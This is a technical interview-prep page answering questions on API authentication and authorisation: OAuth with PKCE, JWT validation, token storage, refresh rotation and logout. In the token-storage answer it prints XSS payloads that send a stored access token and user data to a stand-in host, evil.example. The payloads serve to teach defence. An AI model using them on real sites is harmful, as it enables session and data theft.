Skip to content
Tech Interview Prep
Technical interview guide

API Authentication & Authorization

Verifying who's calling an API (authentication) and what they're allowed to do (authorization): API keys, OAuth, and JWTs.

Minutes to read
4
Practice MCQs
25
Interview Q&A
25
Edition
v4
Editorial status
Reviewed

Scope: HTTP Semantics RFC 9110 and OpenAPI Specification 3.2.

Interview Q&A

Treat each question like a live interview question: answer out loud first (structure, assumptions, tradeoffs), then open the model answer to spot gaps and rehearse a tighter follow-up.

Curated: · Written: · Reviewed:

25 questions

Q&A-1

Explain the difference between authentication and authorisation, and why it matters.

Answer

Authentication answers who is calling: this request carries a valid token for user u_4821. Authorisation answers what that caller may do to this particular thing: may u_4821 read order 102? They are different questions, they fail differently, and the failure is visible in the response.

401 means the credential is missing, malformed or expired. Per RFC 9110 the response must carry a WWW-Authenticate challenge, and the client's correct reaction is to obtain a new credential and retry. 403 means the server understood the request and refuses it; a different token changes nothing. A client that treats 403 as "refresh and retry" loops forever, and that loop is a real production incident, not a hypothetical one.

The reason the distinction earns its keep is asymmetric quality. Token validation is a solved problem you import from a library, so nearly every API does it. Object-level authorisation is per-endpoint work, so it is routinely missing. OWASP's API Security Top 10 (2023) ranks Broken Object Level Authorization as API1: the top entry on the list.

Python
# Python 3.12
ORDERS = {
    101: {"owner": "u_4821", "total": 42.00},
    102: {"owner": "u_9007", "total": 17.50},
}

def get_order(order_id: int, caller: str):
    order = ORDERS.get(order_id)
    if order is None:
        return 404, None
    return 200, order                      # authenticated, never authorised

def get_order_scoped(order_id: int, caller: str):
    order = ORDERS.get(order_id)
    if order is None or order["owner"] != caller:
        return 404, None                   # the lookup is the check
    return 200, order

Tracing the calls:

  • get_order(102, "u_4821") → (200, {"owner": "u_9007", "total": 17.50}). u_4821 is a legitimate, fully authenticated customer who changed one digit in the URL and read someone else's order. No tooling, no sophistication.
  • get_order_scoped(102, "u_4821") → (404, None).
  • get_order_scoped(101, "u_4821") → (200, {"owner": "u_4821", "total": 42.00}).

Note the denial returns 404, not 403. That is deliberate: a 403 on order 102 confirms order 102 exists. The cost is that clients cannot distinguish "gone" from "not yours", and debugging is harder. Some APIs take the 403 and accept the existence leak. Either is defensible; drifting between them per endpoint is not.

Where the authorisation check lives is the actual design decision:

placementanswerswins whencost
route middleware or decorator"does this caller hold role X?"coarse gates: admin-only routes, feature flagscannot see the object; the row is not loaded yet, so it cannot answer "this order"
policy engine (OPA/Rego, Cedar, Casbin)"does this principal satisfy this policy on this resource?"the same rules span many services, or auditors must read them; policy changes without a redeploya second language and runtime, and the resource attributes must still be fetched and passed in
object-level check in the handler or the query"may this caller act on this row?"anything where the answer depends on the row's owner, tenant or state: most data endpointsrepeated per endpoint, and the failure mode is forgetting it

OAuth scopes sit above all three and do not replace the bottom row. A token carrying orders:read says the application may read orders; it says nothing about which orders.

The mitigation for "forgotten per endpoint" is to make the check structural rather than remembered: scope the query by the caller, WHERE id = ? AND owner_id = ?, so an omitted check returns zero rows instead of data. A check you can forget is a check that will be forgotten on the endpoint added at 5pm on a Friday.

Detection, concretely: an integration test that authenticates as user A and requests user B's object ID, asserting 404 or 403. Load tests will never find this: the endpoint is fast and correct for every caller who only requests their own data. Watch token-refresh rate against 403 rate to catch clients looping on the 401/403 confusion, and check that any cache key includes the caller's scope, not just the object ID, or tenant data leaks through the cache instead of the handler.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-11

Compare role-based, attribute-based and relationship-based access control.

Answer

The 90-second answer

All three answer the same question: may subject S do action A on resource R?, and differ in what the decision reads. RBAC reads a role assignment. ABAC reads attributes of subject, resource, action and environment. ReBAC reads the graph of relationships between S and R. Assume a multi-tenant SaaS with sharing, and that the question is which to build on, not which is theoretically best.

RBAC is cheapest to administer and easiest to explain to a customer. ABAC is the most expressive per rule. ReBAC is the only one that expresses ownership and inheritance without enumerating every resource. Most production systems land on RBAC for coarse access plus ReBAC for sharing, with a few ABAC conditions for exceptions.

RBACABACReBAC
decision inputrole → permission mappingattributes of subject/resource/action/envrelationship tuples between subject and object
standardANSI/INCITS 359-2004NIST SP 800-162; XACML 3.0Google Zanzibar (USENIX ATC 2019); OpenFGA, SpiceDB
"owner of this doc"no: a role per docawkwardly, via resource attributesnatively
reverse query "who can read X?"cheap: enumerate role membersexpensive: evaluate the policy set against all subjectscheap-ish: Expand/Read over the tuple graph
failure moderole explosionpolicy conflicts, stale attributesdeep-graph latency, stale checks
typical useadmin/viewer tiersregulatory conditions (time, region, amount)file/folder sharing, org hierarchy

Worked trace. SpiceDB schema:

definition user {}

definition folder {
  relation owner: user
  relation viewer: user
  permission edit = owner
  permission view = owner + viewer
}

definition document {
  relation parent: folder
  relation viewer: user
  permission view = viewer + parent->view
  permission edit = parent->edit
}

Check document:budget#edit@user:alice:

  1. document:budget#edit is parent->edit, so read tuples for document:budget#parent → folder:finance.
  2. folder:finance#edit is owner, so read tuples for folder:finance#owner → user:alice.
  3. Tuple found → allow.

Two tuple reads, one per hop. Nest that folder under another folder and it is three. That is the cost model: Check latency scales with graph depth, not with the number of documents. RBAC needs a role per document (or per folder) plus a binding per user; ABAC needs the document's owner as an attribute on every policy that mentions it.

Arithmetic on role explosion (hypothetical, but the shape is real): 4 teams × 3 regions × 5 resource types × 3 access levels = 180 roles if you enumerate the combinations. The same policy in ABAC is 4 + 3 + 5 + 3 = 15 attributes and one rule. AWS IAM caps roles at 1,000 per account by default and managed policies at 10 per role, so enumeration has a hard ceiling. Kubernetes RBAC has no deny rules at all, so carving out one exception means a new Role and a new RoleBinding rather than a negative rule.

Failure modes and how you see them.

  • RBAC: near-duplicate roles. Diff permission sets per tenant and alert when two roles differ by a single action.
  • ABAC: conflicting rules. XACML resolves them with a combining algorithm (deny-overrides, permit-overrides, first-applicable) so pick one deliberately, because the default changes the answer. Stale attributes are the quieter bug: if the PDP reads department from an HR system that syncs nightly, a transfer takes a day to take effect. Log the attribute snapshot with every decision so you can replay it.
  • ReBAC: Zanzibar's new-enemy problem. A cached Check can still allow after a relationship is removed. Zanzibar addresses it with zookies, consistency tokens that pin a read to a snapshot. Cap Check depth and alert on p99 by depth.

So: start with roles plus resource scoping, add relationships the moment sharing appears, and add attribute conditions only for a requirement you can name.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-3

Explain what OAuth 2.0 is for and what it is not for.

Answer

Core answer (first 90 seconds). OAuth 2.0 (RFC 6749) is an authorisation-delegation framework. It lets a user grant a third-party client scoped access to their data held by another service, without the client ever seeing the user's password. It is not an authentication protocol: an access token is a bearer credential that records that access was granted, not who the user is. Identity is OpenID Connect's job: it adds a signed ID token (a JWT carrying iss, aud, sub, exp) on top of the same flow.

The roles: resource owner (the user), client (the app), authorisation server (issues tokens), resource server (holds the data).

What the flow actually looks like: authorization code + PKCE (RFC 7636), the only flow RFC 9700 recommends for new clients:

  1. Client generates code_verifier (43–128 random chars) and code_challenge = BASE64URL(SHA256(code_verifier)).
  2. Browser redirects to: GET https://auth.example.com/authorize?response_type=code&client_id=cal-app&redirect_uri=https%3A%2F%2Fapp.example.com%2Fcb&scope=calendar.readonly&state=x8f2&code_challenge=...&code_challenge_method=S256
  3. User consents; the auth server redirects to https://app.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=x8f2. The client checks state matches.
  4. Client exchanges the code: POST /token with grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA&redirect_uri=...&client_id=cal-app&code_verifier=...
  5. Response: {"access_token":"ya29...","token_type":"Bearer","expires_in":3599,"scope":"calendar.readonly"}.

The code is single-use, and RFC 6749 recommends a maximum 10-minute lifetime. The access token is opaque to the client and carries no identity claim: that is the whole point.

Where OAuth is the wrong tool. The deciding question is: is there a user whose data lives on a third party, and does that user need to grant a subset of it? If no, OAuth is overhead.

SituationRight toolWhy not OAuth
First-party app → its own backendSession cookie / your own authNo delegation; you already trust the caller
Service → service, no usermTLS, SPIFFE/workload identity, or client credentialsClient credentials has no user context; mTLS binds the caller cryptographically
Need to know who the user isOIDC (or SAML for enterprise federation)Access tokens don't assert identity
Protect an API from a known callermTLS or signed requestsBearer tokens leak and are replayable

Failure modes. Treating an access token as proof of identity is the classic one: an attacker who obtains a token for one client can present it to another that trusts it (confused deputy). Sending an ID token to a resource server as a credential is the mirror error: the ID token's aud is the client, not the API. Token leakage via Referer headers and open redirects is why RFC 9700 requires exact redirect_uri matching and PKCE for every client type. Implicit and password grants are deprecated in RFC 9700.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-4

Walk through the authorization code flow with PKCE and explain what each step protects.

Answer

In 90 seconds. Use the authorization code grant with PKCE for every client: browser, mobile, server. The client generates a random code_verifier, sends only its SHA-256 hash (the code_challenge) on the front-channel redirect, and proves possession of the original verifier on the back-channel token request. The authorization code travels through the browser; the tokens never do. PKCE is what stops a code stolen from the redirect from being redeemed, and RFC 9700 (OAuth 2.0 Security Best Current Practice, January 2025) requires it for confidential clients too, not just public ones.

The flow, with the actual messages.

  1. Client generates:

    • code_verifier: 43–128 characters from [A-Za-z0-9-._~]
    • code_challenge = BASE64URL(SHA256(ASCII(code_verifier))): a 32-byte digest, 43 characters unpadded
    • state: random, bound to the user-agent session

    RFC 7636 Appendix B gives a checkable pair:

    verifier  = dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
    challenge = E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
  2. Front channel: the browser sees the challenge, never the verifier:

    GET /authorize?response_type=code
      &client_id=s6BhdRkqt3
      &redirect_uri=https%3A%2F%2Fclient.example.com%2Fcb
      &scope=openid%20profile%20email
      &state=xyzABC123
      &code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
      &code_challenge_method=S256
  3. User authenticates and consents; the server redirects back:

    302 Location: https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyzABC123
  4. Back channel: no browser, no URL:

    POST /token
    Content-Type: application/x-www-form-urlencoded
    
    grant_type=authorization_code
    &code=SplxlOBeZQQYbYS6WxSbIA
    &redirect_uri=https%3A%2F%2Fclient.example.com%2Fcb
    &client_id=s6BhdRkqt3
    &code_verifier=dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
    200 OK
    Cache-Control: no-store
    {"access_token":"2YotnFZFEjr1zCsicMWpAA","token_type":"Bearer",
     "expires_in":3600,"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA"}

What each piece protects.

PieceAttack it stopsWhat happens without it
Code in the redirect, not a tokenURL leakage via history, logs, RefererImplicit grant put tokens in the fragment; RFC 9700 says clients SHOULD NOT use it
code_verifier / code_challengeCode interception and code injectionAttacker redeems the stolen code, or injects their own code into the victim's session
stateCSRF on the callbackAttacker's code is accepted into the victim's session
Exact redirect_uri matchCode delivered to an attacker's hostWildcard matching plus an open redirect on the registered domain leaks the code
Back-channel token exchangeToken exposure in the browserToken appears in a URL

Failure modes and how you see them. A malicious Android app registered for the same custom scheme grabs the code; with PKCE its token request returns invalid_grant, and the legitimate client's request also fails because codes are single-use (RFC 6749 §4.1.2: 10-minute maximum lifetime recommended, and the AS should revoke tokens issued from a replayed code). Watch the token endpoint for a rise in invalid_grant on one client_id. Code injection looks different: the victim's client succeeds, but the session is bound to the attacker's account. Detect by comparing the sub claim against the session's expected user.

After the exchange. Validate iss, aud, exp, nonce; store tokens where XSS can't reach them (an HttpOnly cookie for browser clients, keychain/keystore for native); rotate refresh tokens so a stolen one is detected when both copies are presented.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-15

What is the difference between an ID token and an access token, and why does it matter?

Answer

The 90-second answer. An ID token is a signed statement about who authenticated, minted by the OpenID Provider for one specific client. An access token is a bearer credential that authorises what the caller may do at a resource server. They are different artefacts with different audiences, and the audience is the whole point: an ID token's aud is the client's client_id; an access token's aud is the resource server. Swapping them is the confused deputy bug.

ID tokenAccess token
SpecOIDC Core 1.0 §2OAuth 2.0 RFC 6749 §1.4; JWT profile RFC 9068
FormatAlways a JWT (JWS, optionally JWE)Opaque string by default; RFC 9068 defines a JWT profile with typ: at+jwt
Required claimsiss, sub, aud, exp, iatNone mandated by 6749; RFC 9068 adds iss, exp, aud, sub, client_id, iat, jti, scope
audThe client's client_idThe resource server identifier
azpAuthorized party: the client the token was issued to; disambiguates when aud has multiple valuesn/a
ConsumerThe clientThe resource server

Worked trace: the confused deputy. Issuer https://idp.example.com; clients app-a and app-b; resource server https://api.example.com.

  1. Alice logs into app-b. The OP issues an ID token whose payload is {"iss":"https://idp.example.com","sub":"alice","aud":"app-b","exp":1735689600,"iat":1735686000}.
  2. app-b sends that ID token as Authorization: Bearer <id_token> to https://api.example.com/orders.
  3. The RS verifies the RS256 signature against the JWKS (valid), checks iss == https://idp.example.com (valid), reads sub = alice, and returns Alice's orders.
  4. The RS never checked aud. aud is app-b, not https://api.example.com. Correct behaviour is 401 invalid_token.

Everything looked right (signature valid, issuer trusted, user real) and the authorisation model was bypassed. OIDC Core §3.1.3.7 step 3 requires the client to check that aud contains its client_id; RFC 9068 §4 requires the resource server to check aud against its own identifier. Detection: log the aud claim on every token the RS accepts and alert when it does not equal the RS's own identifier.

The reverse mistake. A client that decodes an access token and trusts sub as the end user is reading a field that is not guaranteed to be there and, under the client_credentials grant, holds the client_id rather than a person. Machine traffic gets attributed to a user. Detection: check whether the token's grant type can carry a resource owner at all.

OAuth without OIDC for login. Calling /userinfo with an access token can return identity, but the identity is fetched, not asserted: the client trusts a chain of inference rather than a signed statement bound to it. OIDC exists to make that assertion explicit: signed, carrying aud/azp, and bound to the auth request by nonce.

Sizes and lifetimes. A minimal RS256 ID token is roughly 620 bytes base64url: header {"alg":"RS256","typ":"JWT"} (27 chars → 36), a ~180-char payload (→ 240), and a 256-byte signature (→ 342), plus two . separators. Opaque access tokens are typically short random strings. OIDC Core mandates exp but sets no default; Google, for instance, issues ID tokens with a 1-hour lifetime. Never send an ID token to a resource server as a credential, and never treat an access token as proof of identity.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-5

What are the trade-offs between stateless JWTs and opaque tokens?

Answer

The trade-off is one axis: where the token's validity is decided. A JWT is decided by the resource server from the signature and exp; an opaque token is decided by the issuer on every request. Size, privacy, revocation latency and failure modes all follow from that.

JWT (signed, self-contained)Opaque (reference)
ValidationLocal: verify signature, exp, aud, issLookup: Redis GET, or RFC 7662 introspection
RevocationNot until expImmediate: delete the key
Per-request costCPU: ~2 µs HS256, ~50 µs RS256 (one modern x86 core)~0.1–0.5 ms Redis GET in-datacenter
Token size~300–500 bytes for a typical claim set (base64url adds ~33% over the JSON)32 random bytes → 43 base64url chars
Claims visible to clientYes: base64url, not encryptedNo
Failure modeStale authority, key rotation, alg confusionStore outage = total auth outage

Arithmetic on the validation cost. At 5,000 req/s, RS256 verification at ~50 µs costs 5,000 × 50 µs = 0.25 s of CPU per second: a quarter of one core, per instance. HS256 at ~2 µs costs 10 ms/s, about 1%. That is the real reason asymmetric signing is worth it only when the verifier must not hold the signing key. The opaque path at 5,000 req/s against a single Redis instance (benchmarks put one instance above 100k ops/s) is ~5% of its capacity, with p99 around 1 ms. So "a lookup per request" is usually cheaper than people assume, and "no lookup" saves less than they assume.

Revocation window arithmetic. With a 15-minute access token and a rotating refresh token, revoking a user leaves at most 15 minutes of valid access, plus whatever clock skew you allow. PyJWT's leeway and jsonwebtoken's clockTolerance both default to 0; teams commonly set 30–120 s, which extends the window by that much. A 1-hour access token makes the worst case 60 minutes. That number, not the word "logout", is what you give the security reviewer.

Failure modes to name. alg: none and RS256→HS256 confusion are why you pin the algorithm at the verifier (NimbusJwtDecoder.withPublicKey(...).signatureAlgorithm(SignatureAlgorithm.RS256), or algorithms: ["RS256"] in jsonwebtoken) and never trust the header's alg. Key rotation needs a kid header and a cached JWKS (/.well-known/jwks.json); a cache TTL longer than the rotation overlap breaks verification. A jti deny-list grows without bound unless entries expire with the token's own exp. And an introspection endpoint is a hard dependency: if it is down, every request fails, so it needs the redundancy of your database.

Default. Opaque tokens for first-party clients where I control both ends and revocation matters; JWTs where a service must validate without a shared dependency. The hybrid most systems land on: short-lived JWT access token (5–15 min) plus a stateful, rotating refresh token, so the durable credential is revocable and the stateless window is minutes.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-6

How would you validate a JWT correctly, and what attacks does incomplete validation enable?

Answer

The steps, all of them required:

Verify the signature with the expected key. Verify the algorithm against a server-side allowlist rather than trusting the token's header. Validate expiry, and the not-before claim if present. Validate the issuer, so a token from another authorisation server is rejected. Validate the audience, so a token intended for a different service is rejected. And validate the claims the application relies on (scopes, roles, subject) rather than assuming they are present and well-formed.

The attacks incomplete validation enables:

The none algorithm. A verifier that reads the algorithm from the token and honours none accepts an unsigned token, so an attacker forges any claims they like. This is defeated by deciding the expected algorithm in configuration.

Algorithm confusion. A verifier expecting RS256 but trusting the header will accept a token whose header says HS256, signed with the RSA public key as the HMAC secret, and the public key is public. Same defeat: the algorithm must come from configuration, not the token.

Missing audience validation. A token legitimately issued for service A is replayed against service B. Both trust the same issuer, so the signature checks out, and B accepts a credential that was never meant for it. This is subtle because everything looks correct.

Missing expiry validation makes every token permanent, which turns any historical leak into a live one.

Key confusion where a verifier accepts a key identifier from the token and fetches it from an attacker-controlled URL: the key source must be trusted and pinned, not taken from the token.

And the rule underlying all of them: nothing the token asserts about how to verify it may be trusted. The algorithm and the key come from configuration; the token supplies only the claims being verified.

In practice I would use a well-maintained library configured with an explicit expected algorithm, issuer and audience, and I would check that configuration, because libraries often default to permissive behaviour that passes tests and fails in exactly these ways.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-20

What are the risks of a token that never expires?

Answer

The 60-second answer. A non-expiring bearer token makes the blast radius of a leak unbounded in time. Exposure stops being a number you chose and becomes your mean time to detect, and for credentials that is usually months or years, not minutes. Revocation is then the only remaining control, and revocation requires knowing the token leaked, which is precisely what you don't have. The practical risk isn't "the token is old"; it's that a mistake made in 2021 is still exploitable today and nothing in the system will tell you.

Assumptions worth stating: bearer token, no sender-constraining (mTLS or DPoP), and a revocation endpoint that exists but is only consulted once someone notices.

Why exp is the whole control. A JWT without an exp claim is not rejected by a verifier that only checks exp when it is present. That is the default behaviour of the common libraries, and it is the bug behind most "permanent token" incidents.

JavaScript
// Node 20.11, jsonwebtoken 9.0.2
const jwt = require('jsonwebtoken');
const SECRET = 'dev-secret';

const forever = jwt.sign({ sub: 'svc-billing' }, SECRET);
// payload: {"sub":"svc-billing","iat":1717000000}   <- no exp

jwt.verify(forever, SECRET);
// -> { sub: 'svc-billing', iat: 1717000000 }   no error, ever

const short = jwt.sign({ sub: 'svc-billing' }, SECRET, { expiresIn: '1h' });
jwt.verify(short, SECRET);   // -> { sub, iat, exp: iat + 3600 }
// 3601 seconds later
jwt.verify(short, SECRET);   // throws TokenExpiredError: jwt expired

Trace: sign with no expiresIn sets only iat. verify decodes, then validates exp only when payload.exp !== undefined: absent, so it is skipped and the payload is returned. With expiresIn: '1h', exp = iat + 3600, and verify compares it against Math.floor(Date.now()/1000) and throws TokenExpiredError once past. Note the sibling failure: jwt.decode performs no validation at all, so a resource server that decodes instead of verifying accepts a token with any exp, including one in the past.

ControlWith expiryWithout expiry
Exposure after leakbounded by remaining lifetime (≤ 3600 s for a 1 h token)equals time-to-detection
Revocationcovers the residual windowthe only control, and needs detection first
Scope driftscopes re-evaluated on each refreshfrozen at issue time
Rotation pathexercised every cycleuntested until an incident
Detection baselineper-client refresh traffic to baseline againstno periodic traffic to compare

Failure modes and how you'd catch them.

Stale scopes. A token minted with admin still carries it after the holder is demoted. Detect with a nightly job that diffs each token's scopes against the owner's current entitlements and alerts on a superset.

Untested rotation. Three services share one key and nobody knows which. Detect by rotating one credential per quarter as a canary and alerting when the rotation doesn't complete end to end.

No baseline. A static key used from a new ASN looks like normal use. Detect with first-seen (token id, ASN) alerting: the new pair is the signal.

Revocation latency. If the introspection or revocation-list check is cached for five minutes, revocation takes five minutes. That cache TTL is the real bound, not the token's lifetime.

Where long-lived is legitimate. AWS IAM user access keys never expire; STS AssumeRole defaults to 1 hour and caps at 12. Kubernetes bound service account tokens default to 1 hour, refreshed by the kubelet at 80% of lifetime. Where the platform genuinely can't issue short-lived credentials, a distant expiry still beats none: 90 days forces the rotation path to run four times a year.

The right shape. A 5–15 minute access token plus a refresh token rotated on every use, with reuse detection revoking the family (RFC 9700). RFC 6749 §5.1 makes expires_in RECOMMENDED, not required, so a server can omit it and clients will cache the token indefinitely.

Arithmetic. 400 non-expiring service credentials, a runbook that rotates 5 per week: a full cycle is 80 weeks. A leak found 3 days after issuance is exposed 3 days; found 500 days later, 500 days. With 1-hour access tokens the worst case is 3600 seconds regardless of when anyone notices: expiry converts detection latency into a constant you chose.

Curated: · Written: · Reviewed:

Difficulty: Medium
Q&A-8

Where should a browser client store an access token, and what are the risks?

Answer

The 90-second answer. There is no risk-free place to put a browser token. The choice is which attack you are exposed to, and the deciding fact is that XSS is the vulnerability every option is dancing around.

Assumptions: a single-page app on app.example.com calling an API on api.example.com, tokens issued by an OAuth 2.0 authorization server, no backend-for-frontend.

My default: the access token lives in a JavaScript variable (memory only), the refresh token in an HttpOnly; Secure; SameSite=Lax; Path=/ cookie scoped to the refresh endpoint. If the access token must survive a reload without a refresh round trip, put it in an HttpOnly cookie too and add CSRF defence. Typical lifetimes: access token 5–15 minutes, refresh token 30 days with rotation.

StorageXSS reads tokenXSS acts as userCSRF exposureCross-origin APISurvives reload
localStorageYesYesNoEasyYes
sessionStorageYesYesNoEasyPer tab
JS variableYesYesNoEasyNo
HttpOnly cookieNoYesYesNeeds credentials: 'include' + Access-Control-Allow-CredentialsYes

Setting it up. Server side, the __Host- prefix is the strongest cookie you can set: it forces Secure, Path=/, and forbids a Domain attribute, so a subdomain cannot overwrite it.

Set-Cookie: __Host-refresh=8f3c...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=2592000
Set-Cookie: csrf=9a1b...; Secure; SameSite=Lax; Path=/

Client side, the CSRF cookie is deliberately not HttpOnly so JS can read it and echo it back as a header:

JavaScript
// checked against Chrome 126 / Firefox 128
await fetch('https://api.example.com/transfer', {
  method: 'POST',
  credentials: 'include',                       // sends the cookie cross-origin
  headers: { 'X-CSRF-Token': readCookie('csrf') },
  body: JSON.stringify({ to, amount })
});

Worked trace. An attacker lands this in a comment field:

HTML
<img src=x onerror="fetch('https://evil.example/c?d='+encodeURIComponent(localStorage.getItem('access_token')))">

Token in localStorage: getItem returns the JWT string, the request to evil.example carries it, and the attacker replays it against api.example.com from their own machine until exp. The user's browser is no longer involved.

Token in an HttpOnly cookie: getItem('access_token') returns null, so the exfil request carries d=null. The token never leaves the browser. But the attacker's next line works:

JavaScript
fetch('/api/me', { credentials: 'include' })
  .then(r => r.text())
  .then(t => fetch('https://evil.example/c?d=' + encodeURIComponent(t)));

Same-origin, so no preflight, cookie attached automatically, response body readable. The attacker gets the user's data, not the token: bounded by the session, ending when the tab closes or the cookie expires.

Failure modes.

  • XSS still wins. HttpOnly prevents exfiltration, not abuse. "We use HttpOnly cookies" is not an answer to XSS; preventing XSS is.
  • SameSite=Lax is not CSRF-proof. It blocks cross-site POSTs but allows top-level GET navigation, and Chrome's Lax+POST grace window permits a cross-site POST for 2 minutes after the cookie is created. Use SameSite=Strict on state-changing endpoints, or the double-submit token above.
  • Cross-origin cookies are the weakest posture. credentials: 'include' requires Access-Control-Allow-Credentials: true and a specific Access-Control-Allow-Origin: the browser rejects *. Genuinely cross-site cookies need SameSite=None; Secure.
  • localStorage has no expiry. It survives tab close and is readable by every script on the origin, including a compromised analytics tag. Safari's ITP also caps script-writable storage at 7 days without user interaction, so the token may vanish anyway.
  • Refresh tokens. RFC 9700 (OAuth 2.0 Security Best Current Practice, January 2025) requires public clients to rotate or sender-constrain refresh tokens. Rotate and detect reuse: if both copies are presented, revoke the family.

Detection. CSP report-to violations on script-src, refresh-token reuse alerts, and a Content-Security-Policy: script-src 'nonce-<random>' 'strict-dynamic' policy as the actual mitigation.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-12

Why do OAuth systems use both an access token and a refresh token, and how do rotation and reuse detection limit the damage when one of them is stolen?

Answer

The split is by endpoint, not by importance. An access token is what the client sends to the resource server with every request. A refresh token is what the client sends to exactly one place, the authorization server's token endpoint, and only to obtain a new access token. If a refresh token ever reaches a resource server, that is a bug. (The credential that describes the user to the client, the ID token, is a third thing again and is never sent as a bearer credential.)

Access tokenRefresh token
Presented toResource serverAuthorization server token endpoint only
LifetimeMinutes: 5 to 15 is typicalDays to weeks
ContentClaims: scopes, audience, subject, expOpaque, no user-meaningful claims
ValidationAt the resource server, often locally (JWT)At the authorization server, against state
Value if stolenWhatever it authorises, until expThe ability to mint new access tokens for the whole session

Why two tokens. A single long-lived bearer token forces a bad trade: it is presented on every request, so every request carries a credential worth the entire session. The two-token model moves durability into a credential that is used rarely and touches one hardened endpoint, and keeps the frequently-presented credential worth only minutes of exposure. That is the whole argument for short-lived access tokens: since a stateless JWT cannot be recalled once issued, its lifetime is its revocation mechanism. RFC 8725's guidance on limited token lifetimes exists for exactly this reason.

Compromise before expiry. If an access token leaks, the attacker has whatever its scopes and audience allow until exp, and there is nothing you can do retroactively about that specific token. Damage is bounded by token lifetime × scope breadth, which is why scoping matters as much as the clock. The responses are: revoke the refresh token family so the attacker cannot extend the window, watch for use from unexpected clients or locations during the window, and for genuinely high-value operations either introspect the token or maintain a jti denylist rather than trusting local validation. exp checks need a small leeway for clock skew: seconds, not minutes.

Rotation and reuse detection. Rotation means every successful refresh returns a new refresh token and invalidates the old one, and the authorization server remembers the family the chain belongs to. Trace:

t0  AS issues RT1 (family F)
t1  client  -> POST /token grant_type=refresh_token, RT1
    AS      -> AT2 (5 min), RT2 ; RT1 marked used ; family F = {RT1 used, RT2 live}
t2  attacker -> POST /token with RT1
    AS      -> 400 + treat as theft signal:
              revoke family F, so RT2 is dead too
              log/alert on family F ; both parties must re-authorize

Reuse of an already-rotated token is the detection signal: legitimate clients do not present old refresh tokens. The important judgement is that you revoke the family, not just the replayed token: otherwise the thief's RT2 and the victim's RT2 both stay alive and you have learned nothing but lost nothing either.

Where this breaks. Parallel refresh is the real operational cost: two tabs or a phone and a server-side job refreshing concurrently will trip a naive one-token-only design and log users out. Options are a short bounded grace window where the previous token is accepted once, retry-once-on-failure logic in the client, or per-device sessions. The grace window must be small and rate-limited, or it is just a second live token. A dropped response after refresh causes the same class of problem: the client has no token but the server thinks it rotated.

Alternative to rotation: sender-constraining. RFC 9700's refresh-token guidance is to sender-constrain them where you can, DPoP or mTLS binding, and rotate otherwise. Binding is prevention: a stolen refresh token is unusable without the private key. Rotation is detection: theft happens but is noticed and contained. Public clients (SPAs, mobile) cannot keep a secret, so for them rotation plus reuse detection is the load-bearing control, and the refresh token must be protected as if it were a password.

Curated: · Written: · Reviewed:

Difficulty: Hard
Q&A-13

How would you implement logout in a system using stateless tokens?

Answer

The 90-second answer. A stateless access token cannot be un-issued, so logout is two operations, not one. First, the client deletes its copy: free, and it covers the shared-laptop case. Second, the server revokes the refresh token, which is the operation that actually ends the session and does require state. Everything else is about shrinking the window in which a copied access token still works.

Assumptions: JWT access tokens, 5–15 minute lifetime; refresh tokens opaque and stored server-side; one authorization server.

ApproachState addedRevocation latency"Log out everywhere"Cost per request
Short access token + revocable refresh tokenrefresh-token store≤ access-token TTLyes, delete all of the user's refresh tokensnone on the access path
Denylist by jtiRedis keys, TTL = remaining expimmediateonly if you can enumerate the user's live jtisone EXISTS
Per-user ver claimone integer per user rowimmediateyes, one incrementone user-row read (cacheable)

The denylist, concretely. jti is the JWT ID claim (RFC 7519); it must be unique per token, so generate it with secrets.token_hex(8): 64 bits, birthday collision around 2^32 tokens, irrelevant at these volumes.

Python
import secrets, time
import jwt, redis

SECRET = "..."          # HS256 key
r = redis.Redis()

def issue(user_id, ver, ttl=900):
    now = int(time.time())
    return jwt.encode(
        {"sub": user_id, "ver": ver, "jti": secrets.token_hex(8),
         "iat": now, "exp": now + ttl},
        SECRET, algorithm="HS256")

def verify(token):
    c = jwt.decode(token, SECRET, algorithms=["HS256"], leeway=30)
    if r.exists(f"revoked:{c['jti']}"):
        raise PermissionError("revoked")
    if c["ver"] != current_version(c["sub"]):   # cached user-row read
        raise PermissionError("stale version")
    return c

def logout(token):
    c = jwt.decode(token, SECRET, algorithms=["HS256"], leeway=30)
    ttl = c["exp"] - int(time.time())
    if ttl > 0:
        r.setex(f"revoked:{c['jti']}", ttl, 1)

Trace it. issue at t=0 with ttl=900 gives exp=900, jti="a1b2…". logout at t=120 computes ttl=780 and runs SETEX revoked:a1b2… 780 1, so the key dies at t=900. verify at t=300 decodes fine and EXISTS returns 1 → PermissionError. verify at t=901 raises ExpiredSignatureError inside jwt.decode, before Redis is touched: the key is already gone, so the denylist never holds more than one entry per token issued in the last 900 s. At 10,000 logouts/day (0.116/s) that is ~104 live keys, roughly 10 KB in Redis. That is why the lookup is cheap enough to do on every request.

Failure modes worth naming. If Redis is unreachable, EXISTS raises and you must choose: fail-open accepts revoked tokens, fail-closed logs out every user on the platform. The usual mitigation is an in-process LRU of revoked jtis with a 30 s TTL, refreshed from Redis: on a Redis outage you tolerate up to 30 s of stale revocations instead of a full outage. Clock skew is the other one: PyJWT's leeway defaults to 0, so a verifier 60 s behind the issuer rejects fresh tokens; set leeway=30 on both sides. And rotate refresh tokens on every use, if a previously rotated token is presented, revoke the whole family, which is what the OAuth 2.0 Security BCP (RFC 9700) recommends.

